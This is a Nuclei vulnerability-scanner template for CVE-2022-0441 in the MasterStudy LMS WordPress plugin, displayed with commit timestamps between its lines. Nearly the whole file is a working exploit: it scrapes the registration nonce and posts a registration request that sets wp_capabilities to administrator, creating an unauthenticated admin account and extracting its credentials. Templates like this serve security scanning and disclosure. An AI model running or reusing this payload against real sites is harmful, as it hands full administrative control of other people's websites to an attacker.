nuclei-templates/cves/2022/CVE-2022-0441.yaml

73 lines
2.2 KiB
YAML
Raw Normal View History

2022-06-30 07:40:45 +00:00
id: CVE-2022-0441
info:
2022-09-26 03:03:58 +00:00
name: MasterStudy LMS plugin < 2.7.6 - Unauthenticated Admin Account Creation
author: dwisiswant0,theamanrawat
2022-06-30 07:40:45 +00:00
severity: critical
description: |
2022-09-26 03:03:58 +00:00
The MasterStudy LMS WordPress plugin before 2.7.6 does to validate some parameters given when registering a new account, allowing unauthenticated users to register as an admin.
2022-06-30 07:40:45 +00:00
reference:
- https://wpscan.com/vulnerability/173c2efe-ee9c-4539-852f-c242b4f728ed
2022-09-26 03:03:58 +00:00
- https://wordpress.org/plugins/masterstudy-lms-learning-management-system/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0441
- https://plugins.trac.wordpress.org/changeset/2667195
2022-07-29 17:36:28 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
2022-07-29 17:36:28 +00:00
cve-id: CVE-2022-0441
cwe-id: CWE-269
2022-09-26 03:03:58 +00:00
metadata:
verified: "true"
2022-09-26 03:03:58 +00:00
tags: cve,cve2022,wordpress,wp-plugin,wpscan,wp,unauth
2022-06-30 07:40:45 +00:00
variables:
username: "{{to_lower(rand_text_alphanumeric(6))}}"
2022-07-29 17:36:28 +00:00
password: "{{rand_text_alphanumeric(12)}}"
user_email: "{{username}}@{{to_lower(rand_text_alphanumeric(6))}}.com"
requests:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/admin-ajax.php?action=stm_lms_register&nonce={{nonce}} HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
Content-Type: application/json
2022-09-26 03:03:58 +00:00
{"user_login":"{{username}}","user_email":"{{user_email}}","user_password":"{{password}}","user_password_re":"{{password}}","become_instructor":"","privacy_policy":true,"degree":"","expertize":"","auditory":"","additional":[],"additional_instructors":[],"profile_default_fields_for_register":{"wp_capabilities":{"value":{"administrator":1}}}}
2022-06-30 07:40:45 +00:00
2022-07-29 17:36:28 +00:00
extractors:
2022-06-30 07:47:14 +00:00
- type: regex
2022-07-29 17:36:28 +00:00
name: nonce
group: 1
2022-06-30 07:47:14 +00:00
regex:
2022-07-29 17:36:28 +00:00
- '"stm_lms_register":"([0-9a-z]+)"'
internal: true
2022-06-30 07:40:45 +00:00
2022-07-29 17:36:28 +00:00
- type: kval
kval:
- user_email
- password
2022-06-30 07:40:45 +00:00
2022-07-29 17:36:28 +00:00
req-condition: true
2022-09-26 03:03:58 +00:00
matchers-condition: and
2022-07-29 17:36:28 +00:00
matchers:
2022-06-30 07:47:14 +00:00
- type: word
2022-07-29 17:36:28 +00:00
part: body_2
2022-06-30 07:47:14 +00:00
words:
2022-07-29 17:36:28 +00:00
- 'Registration completed successfully'
- '"status":"success"'
2022-09-26 03:03:58 +00:00
condition: and
- type: word
part: header_2
words:
- application/json;
- type: status
status:
- 200